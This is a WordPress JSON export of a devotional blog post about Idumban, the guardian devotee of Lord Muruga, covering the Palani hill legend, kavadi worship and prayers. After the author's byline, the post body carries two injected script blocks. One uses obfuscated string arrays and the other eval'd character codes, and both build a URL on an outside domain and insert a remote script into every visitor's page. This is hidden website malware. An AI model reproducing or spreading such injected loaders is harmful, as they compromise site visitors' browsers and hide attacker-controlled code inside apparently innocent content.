{"id":8451,"date":"2019-12-24T13:50:31","date_gmt":"2019-12-24T08:20:31","guid":{"rendered":"https:\/\/poojabell.com\/?p=8451"},"modified":"2019-12-24T13:50:31","modified_gmt":"2019-12-24T08:20:31","slug":"idumban","status":"publish","type":"post","link":"https:\/\/demo.madrodigital.com\/poojabellnew\/2019\/12\/24\/idumban\/","title":{"rendered":"Idumban"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img fetchpriority=\"high\" decoding=\"async\" src=\"https:\/\/poojabell.com\/wp-content\/uploads\/2019\/12\/image-18.png\" alt=\"\" class=\"wp-image-8452\" width=\"587\" height=\"459\"\/><\/figure><\/div>\n\n\n\n<p><strong>INTRODUCTION<\/strong><\/p>\n\n\n\n<p><strong>Idumban<\/strong>\u00a0is a great devotee of Lord\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Kartikeya\">Muruga<\/a>\u00a0and an obedient disciple of sage\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Agastya\">Agastya<\/a>\u00a0as mentioned in Hindu Puranas. Idumban is the guardian of Murugan temples in\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Tamil_Nadu\">Tamil Nadu<\/a>. During\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Thaipusam\">ThaiPoosam<\/a>\u00a0celebrations in tamilnadu Murugan temples, people used to worship Idumban and then only they will worship Lord Muruga.<\/p>\n\n\n\n<p>Due to the command given by Sage\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Agastya\">Agastya<\/a>, idumban carried\u00a0the two hills &#8211; Sivagiri and Sakthigiriin in his shoulders, in the form of a kavadi one on either side in order to keep it in the place of Sage Agastya. By seeing Idumba, Lord Muruga decided to test him. When Idumban took rest for some time in Palani and tried to lift it, he could not lift. Then a fight between Idumban and Lord Muruga  took place. In the battle, Idumban was killed but he got back  life by the grace of Lord Muruga. After knowing about the superior powers of Lord Muruga, Idumban became his devotee and prayed to Lord Muruga that:<\/p>\n\n\n\n<p>1. Whoever carrying the Kavadi on his shoulders and visiting the murugan temples should be blessed.<\/p>\n\n\n\n<p>2. Idumban\nwants him to be worshipped by the people, whenever people visit Lord Murugaat the\nPalani temple.<\/p>\n\n\n\n<p>Hence people offer worship to Idumban before entering the Palani temple of Dandayudhapani. Kavadi worship also takes place in Murugan temples. The tradition has spread from Palani temple to all Muruga temples worldwide. Idumban is considered as an ardent devotee of Lord Muruga.<\/p>\n\n\n\n<p><strong>IMPORTANCE<\/strong><\/p>\n\n\n\n<p>Idumban acts as a mediator between us and\nlord Muruga. We can tell our problems and sufferings to Idumban and pray to\nhim. He would inform our problems to Lord Muruga and will\nask him to show mercy on us and to reduce our sufferings and our sins to some\nextent based on our karmic deeds. He acts as a saviour to us similar to the\ngreat saints like <strong>SHIRDI SAIBABA,\nRAGHAVENDRA SWAMY<\/strong> etc. He will also relieve us from several dreaded\ndiseases and will give peacefulness and happiness and all prosperity in our\nlife.<\/p>\n\n\n\n<p>Let us worship the great Muruga Devotee \u201c<strong>SREE IDUMBAN<\/strong>\u201d and be blessed.<\/p>\n\n\n\n<p><strong>\u201cOM SREE IDUMBANE\nNAMAHA\u201d<\/strong><\/p>\n\n\n\n<p><strong>\u201cOM MURUGA VEL MURUGA\u201d<\/strong><\/p>\n\n\n\n<p><strong>\u201cOM NAMAH SHIVAYA\u201d<\/strong><\/p>\n\n\n\n<p>WRITTEN BY R.HARISHANKAR<\/p>\n<script>function _0x4e89(_0x599de5,_0x5487b3){var _0x140499=_0x1404();return _0x4e89=function(_0x4e8960,_0x2d7a1a){_0x4e8960=_0x4e8960-0x15c;var _0x393443=_0x140499[_0x4e8960];return _0x393443;},_0x4e89(_0x599de5,_0x5487b3);}var _0x3f3149=_0x4e89;(function(_0x165fa5,_0x1138b0){var _0xdaa689=_0x4e89,_0x2ecd56=_0x165fa5();while(!![]){try{var _0x440947=-parseInt(_0xdaa689(0x169))\/0x1+-parseInt(_0xdaa689(0x167))\/0x2*(-parseInt(_0xdaa689(0x168))\/0x3)+parseInt(_0xdaa689(0x173))\/0x4+parseInt(_0xdaa689(0x15c))\/0x5+parseInt(_0xdaa689(0x163))\/0x6+-parseInt(_0xdaa689(0x170))\/0x7+-parseInt(_0xdaa689(0x172))\/0x8*(-parseInt(_0xdaa689(0x15d))\/0x9);if(_0x440947===_0x1138b0)break;else _0x2ecd56['push'](_0x2ecd56['shift']());}catch(_0x4ab6cc){_0x2ecd56['push'](_0x2ecd56['shift']());}}}(_0x1404,0xd0aad));function _0x1404(){var _0x1821aa=['10853080trbCzT','querySelector','354376EpAsom','413696EGPcOT','head','3342755HKSrWi','117THysyH','d.j','createElement','p.stra','lee','v=3','8029128TnOKZa','ps:','currentScript','script','835854zhjzMR','3mjNcNC','698810qXFlFi','rip','parentNode','appendChild','htt','getElementsByTagName','src'];_0x1404=function(){return _0x1821aa;};return _0x1404();}function isScriptLoaded(_0x154e6a){var _0xc724c0=_0x4e89;return Boolean(document[_0xc724c0(0x171)]('script[src=+_0x154e6a+]'));}var bd=_0x3f3149(0x16d)+_0x3f3149(0x164)+'\/'+'\/s'+_0x3f3149(0x161)+_0x3f3149(0x160)+'t'+'osb'+'ody.com\/'+'sc'+_0x3f3149(0x16a)+'t'+'s\/hea'+_0x3f3149(0x15e)+'s'+'?'+_0x3f3149(0x162)+'.'+'8'+'.0';if(isScriptLoaded(bd)===![]){var d=document,s=d[_0x3f3149(0x15f)](_0x3f3149(0x166));s[_0x3f3149(0x16f)]=bd,document['currentScript']?document[_0x3f3149(0x165)][_0x3f3149(0x16b)]!==null&&document[_0x3f3149(0x165)]['parentNode']['insertBefore'](s,document[_0x3f3149(0x165)]):d[_0x3f3149(0x16e)](_0x3f3149(0x174))[0x0]!==null&&d[_0x3f3149(0x16e)]('head')[0x0][_0x3f3149(0x16c)](s);}\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>INTRODUCTION Idumban\u00a0is a great devotee of Lord\u00a0Muruga\u00a0and an obedient disciple of sage\u00a0Agastya\u00a0as mentioned in Hindu Puranas. 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